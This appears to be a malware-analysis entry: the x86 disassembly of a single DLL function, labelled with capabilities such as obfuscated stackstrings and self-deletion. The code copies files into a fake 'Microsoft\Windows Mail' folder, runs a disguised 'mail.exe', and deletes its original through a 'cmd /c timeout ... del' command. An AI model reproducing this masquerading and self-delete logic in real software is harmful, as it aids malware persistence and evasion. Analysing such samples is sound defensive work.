Function at 0x100015c0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10010f29
mov eax, dword fs:[0]
push eax
sub esp, 0x354
mov eax, dword [0x1001c004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10001490
movzx eax, ax
test ax, ax
je 0x10001c11
cmp eax, 1
jne 0x10001642
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x10001621
mov eax, dword [ecx]
jmp 0x10001623
mov eax, ecx
push 0xb
push str.zipdata.tmp
mov byte [eax], 0
call fcn.10001ff0
call fcn.10001030
add esp, 0x18
test eax, eax
je 0x10001c11
mov dword [ebp - 0x26c], 0xf
mov dword [ebp - 0x270], 0
mov byte [ebp - 0x280], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x2cc], 0xf
mov dword [ebp - 0x2d0], 0
mov byte [ebp - 0x2e0], 0
mov dword [ebp - 0x2b4], 0xf
mov dword [ebp - 0x2b8], 0
mov byte [ebp - 0x2c8], 0
mov dword [ebp - 0x254], 0xf
mov dword [ebp - 0x258], 0
mov byte [ebp - 0x268], 0
mov dword [ebp - 0x23c], 0xf
mov dword [ebp - 0x240], 0
mov byte [ebp - 0x250], 0
mov dword [ebp - 0x284], 0xf
mov dword [ebp - 0x288], 0
mov byte [ebp - 0x298], 0
mov dword [ebp - 0x2e4], 0xf
mov dword [ebp - 0x2e8], 0
mov byte [ebp - 0x2f8], 0
mov dword [ebp - 0x29c], 0xf
mov dword [ebp - 0x2a0], 0
mov byte [ebp - 0x2b0], 0
push 0x104
lea eax, [ebp - 0x134]
mov byte [ebp - 4], 7
push 0
push eax
call fcn.10007a50
add esp, 0xc
lea eax, [ebp - 0x134]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x134], 0
jne 0x1000175c
xor ecx, ecx
jmp 0x1000176e
lea ecx, [ebp - 0x134]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001765
sub ecx, edx
push ecx
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x2e0]
call fcn.10001ff0
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
cmp byte [ebp - 0x134], 0
jne 0x1000179b
xor ecx, ecx
jmp 0x100017ad
lea ecx, [ebp - 0x134]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100017a4
sub ecx, edx
push ecx
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x280]
call fcn.10001ff0
push 0x104
lea eax, [ebp - 0x238]
push 0
push eax
call fcn.10007a50
add esp, 0xc
lea eax, [ebp - 0x238]
push 1
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str._sducore.dll
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x318]
call fcn.10002750
add esp, 4
lea ecx, [ebp - 0x2c8]
push eax
call fcn.10001d40
lea ecx, [ebp - 0x318]
call fcn.10001cd0
cmp byte [ebp - 0x238], 0
jne 0x10001826
xor ecx, ecx
jmp 0x10001839
lea ecx, [ebp - 0x238]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001830
sub ecx, edx
push ecx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x268]
call fcn.10001ff0
push 0xa
push str.Microsoft
lea ecx, [ebp - 0x268]
call fcn.10002220
push str.Windows_Mail
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0x318]
call fcn.10002750
add esp, 4
lea ecx, [ebp - 0x250]
push eax
call fcn.10001d40
lea ecx, [ebp - 0x318]
call fcn.10001cd0
push str.mail.exe
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x318]
call fcn.10002750
add esp, 4
lea ecx, [ebp - 0x298]
push eax
call fcn.10001d40
lea ecx, [ebp - 0x318]
call fcn.10001cd0
push str._sducore.dll
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x318]
call fcn.10002750
add esp, 4
lea ecx, [ebp - 0x2f8]
push eax
call fcn.10001d40
lea ecx, [ebp - 0x318]
call fcn.10001cd0
mov esi, dword [ebp - 0x26c]
lea eax, [ebp - 0x280]
mov edx, dword [ebp - 0x280]
lea ecx, [ebp - 0x280]
cmp esi, 0x10
lea ebx, [ebp - 0x280]
cmovae eax, edx
cmovae ecx, edx
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x270]
add eax, ecx
cmp esi, 0x10
mov edi, eax
cmovae ebx, edx
xor ecx, ecx
sub edi, ebx
xor esi, esi
cmp ebx, eax
cmova edi, ecx
test edi, edi
je 0x1000195b
nop word [eax + eax]
movsx eax, byte [esi + ebx]
push eax
call fcn.10009142
mov ecx, dword [ebp - 0x2fc]
add esp, 4
mov byte [esi + ecx], al
inc esi
cmp esi, edi
jne 0x10001940
mov ecx, dword [ebp - 0x23c]
lea eax, [ebp - 0x250]
mov edx, dword [ebp - 0x250]
lea ebx, [ebp - 0x250]
cmp ecx, 0x10
cmovae eax, edx
mov dword [ebp - 0x300], eax
lea eax, [ebp - 0x250]
cmovae eax, edx
add eax, dword [ebp - 0x240]
cmp ecx, 0x10
mov edi, eax
cmovae ebx, edx
xor esi, esi
sub edi, ebx
cmp ebx, eax
cmova edi, esi
test edi, edi
je 0x100019ca
movsx eax, byte [esi + ebx]
push eax
call fcn.10009142
mov ecx, dword [ebp - 0x300]
add esp, 4
mov byte [esi + ecx], al
inc esi
cmp esi, edi
jne 0x100019a3
mov ecx, dword [ebp - 0x23c]
mov edx, dword [ebp - 0x250]
push dword [ebp - 0x240]
cmp ecx, 0x10
lea eax, [ebp - 0x250]
push ecx
cmovae eax, edx
lea ecx, [ebp - 0x280]
push eax
call fcn.10001f00
cmp eax, 0xffffffff
je 0x100019f8
call fcn.100013b0
jmp 0x10001bb9
cmp dword [ebp - 0x254], 0x10
lea eax, [ebp - 0x268]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x268]
push 0
push eax
call esi
push 0xd
push str.Windows_Mail
lea ecx, [ebp - 0x268]
call fcn.10002220
cmp dword [ebp - 0x254], 0x10
lea eax, [ebp - 0x268]
push 0
cmovae eax, dword [ebp - 0x268]
push eax
call esi
cmp dword [ebp - 0x284], 0x10
lea ecx, [ebp - 0x298]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x2e0]
cmovae ecx, dword [ebp - 0x298]
cmp dword [ebp - 0x2cc], 0x10
push 0
cmovae eax, dword [ebp - 0x2e0]
push ecx
push eax
call esi
cmp dword [ebp - 0x2e4], 0x10
lea ecx, [ebp - 0x2f8]
push 0
cmovae ecx, dword [ebp - 0x2f8]
lea eax, [ebp - 0x2c8]
cmp dword [ebp - 0x2b4], 0x10
push ecx
cmovae eax, dword [ebp - 0x2c8]
push eax
call esi
cmp dword [ebp - 0x284], 0x10
lea eax, [ebp - 0x298]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
cmovae eax, dword [ebp - 0x298]
push 5
push eax
call esi
movaps xmm0, xmmword [str.cmd__c_timeout__C:WindowsSysWOC:WindowsSyste]
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x30312074
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0x20262620
mov dword [ebp - 0x18], 0x206c6564
mov byte [ebp - 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001af0
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x2b0]
call fcn.10001ff0
lea eax, [ebp - 0x2e0]
push eax
lea edx, [ebp - 0x2b0]
lea ecx, [ebp - 0x360]
call fcn.10002880
push str.__f__del
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x348]
call fcn.10002830
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x330]
call fcn.10002930
push 0x10019fe4
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x318]
call fcn.10002830
add esp, 0x10
lea ecx, [ebp - 0x2b0]
push eax
call fcn.10001d40
lea ecx, [ebp - 0x318]
call fcn.10001cd0
lea ecx, [ebp - 0x330]
call fcn.10001cd0
lea ecx, [ebp - 0x348]
call fcn.10001cd0
lea ecx, [ebp - 0x360]
call fcn.10001cd0
cmp dword [ebp - 0x29c], 0x10
lea eax, [ebp - 0x2b0]
push 0
cmovae eax, dword [ebp - 0x2b0]
push eax
call esi
lea ecx, [ebp - 0x2b0]
call fcn.10001cd0
lea ecx, [ebp - 0x2f8]
call fcn.10001cd0
lea ecx, [ebp - 0x298]
call fcn.10001cd0
lea ecx, [ebp - 0x250]
call fcn.10001cd0
lea ecx, [ebp - 0x268]
call fcn.10001cd0
lea ecx, [ebp - 0x2c8]
call fcn.10001cd0
lea ecx, [ebp - 0x2e0]
call fcn.10001cd0
lea ecx, [ebp - 0x280]
call fcn.10001cd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100029dc
mov esp, ebp
pop ebp
ret